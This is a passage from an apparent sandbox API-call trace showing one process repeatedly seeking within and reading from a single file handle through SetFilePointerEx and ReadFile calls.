lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x75e, lpOverlapped=0x0) returned 1 [0252.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.924] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x756, lpOverlapped=0x0) returned 1 [0252.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.924] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x74e, lpOverlapped=0x0) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.925] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x746, lpOverlapped=0x0) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.925] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x73e, lpOverlapped=0x0) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.925] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x736, lpOverlapped=0x0) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.925] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x72e, lpOverlapped=0x0) returned 1 [0252.926] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.926] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.926] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x726, lpOverlapped=0x0) returned 1 [0252.926] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.926] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.926] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x71e, lpOverlapped=0x0) returned 1 [0252.926] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.926] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x716, lpOverlapped=0x0) returned 1 [0252.926] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x70e, lpOverlapped=0x0) returned 1 [0252.926] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x706, lpOverlapped=0x0) returned 1 [0252.927] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6fe, lpOverlapped=0x0) returned 1 [0252.927] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6f6, lpOverlapped=0x0) returned 1 [0252.927] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6ee, lpOverlapped=0x0) returned 1 [0252.927] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6e6, lpOverlapped=0x0) returned 1 [0252.927] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6de, lpOverlapped=0x0) returned 1 [0252.927] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6d6, lpOverlapped=0x0) returned 1 [0252.927] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6ce, lpOverlapped=0x0) returned 1 [0252.927] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6c6, lpOverlapped=0x0) returned 1 [0252.927] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6be, lpOverlapped=0x0) returned 1 [0252.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6b6, lpOverlapped=0x0) returned 1 [0252.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6ae, lpOverlapped=0x0) returned 1 [0252.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x6a6, lpOverlapped=0x0) returned 1 [0252.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x69e, lpOverlapped=0x0) returned 1 [0252.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x696, lpOverlapped=0x0) returned 1 [0252.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x68e, lpOverlapped=0x0) returned 1 [0252.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x686, lpOverlapped=0x0) returned 1 [0252.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x67e, lpOverlapped=0x0) returned 1 [0252.928] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x676, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x66e, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x666, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x65e, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x656, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x64e, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x646, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x63e, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x636, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x62e, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x626, lpOverlapped=0x0) returned 1 [0252.930] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x61e, lpOverlapped=0x0) returned 1 [0252.930] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x616, lpOverlapped=0x0) returned 1 [0252.930] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x60e, lpOverlapped=0x0) returned 1 [0252.930] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x606, lpOverlapped=0x0) returned 1 [0252.930] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5fe, lpOverlapped=0x0) returned 1 [0252.930] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5f6, lpOverlapped=0x0) returned 1 [0252.930] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5ee, lpOverlapped=0x0) returned 1 [0252.930] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5e6, lpOverlapped=0x0) returned 1 [0252.930] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5de, lpOverlapped=0x0) returned 1 [0252.931] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5d6, lpOverlapped=0x0) returned 1 [0252.931] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5ce, lpOverlapped=0x0) returned 1 [0252.931] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5c6, lpOverlapped=0x0) returned 1 [0252.931] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5be, lpOverlapped=0x0) returned 1 [0252.931] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5b6, lpOverlapped=0x0) returned 1 [0252.931] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5ae, lpOverlapped=0x0) returned 1 [0252.931] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x5a6, lpOverlapped=0x0) returned 1 [0252.932] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x59e, lpOverlapped=0x0) returned 1 [0252.932] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x596, lpOverlapped=0x0) returned 1 [0252.932] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x58e, lpOverlapped=0x0) returned 1 [0252.932] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x586, lpOverlapped=0x0) returned 1 [0252.932] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x57e, lpOverlapped=0x0) returned 1 [0252.933] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x576, lpOverlapped=0x0) returned 1 [0252.933] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x56e, lpOverlapped=0x0) returned 1 [0252.933] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x566, lpOverlapped=0x0) returned 1 [0252.933] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x55e, lpOverlapped=0x0) returned 1 [0252.933] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x556, lpOverlapped=0x0) returned 1 [0252.934] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x54e, lpOverlapped=0x0) returned 1 [0252.934] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x546, lpOverlapped=0x0) returned 1 [0252.934] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x53e, lpOverlapped=0x0) returned 1 [0252.934] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x536, lpOverlapped=0x0) returned 1 [0252.934] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x52e, lpOverlapped=0x0) returned 1 [0252.934] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x526, lpOverlapped=0x0) returned 1 [0252.934] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x51e, lpOverlapped=0x0) returned 1 [0252.934] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x516, lpOverlapped=0x0) returned 1 [0252.934] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x50e, lpOverlapped=0x0) returned 1 [0252.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x506, lpOverlapped=0x0) returned 1 [0252.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4fe, lpOverlapped=0x0) returned 1 [0252.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4f6, lpOverlapped=0x0) returned 1 [0252.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4ee, lpOverlapped=0x0) returned 1 [0252.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4e6, lpOverlapped=0x0) returned 1 [0252.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4de, lpOverlapped=0x0) returned 1 [0252.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4d6, lpOverlapped=0x0) returned 1 [0252.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4ce, lpOverlapped=0x0) returned 1 [0252.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4c6, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4be, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4b6, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4ae, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x4a6, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x49e, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x496, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: 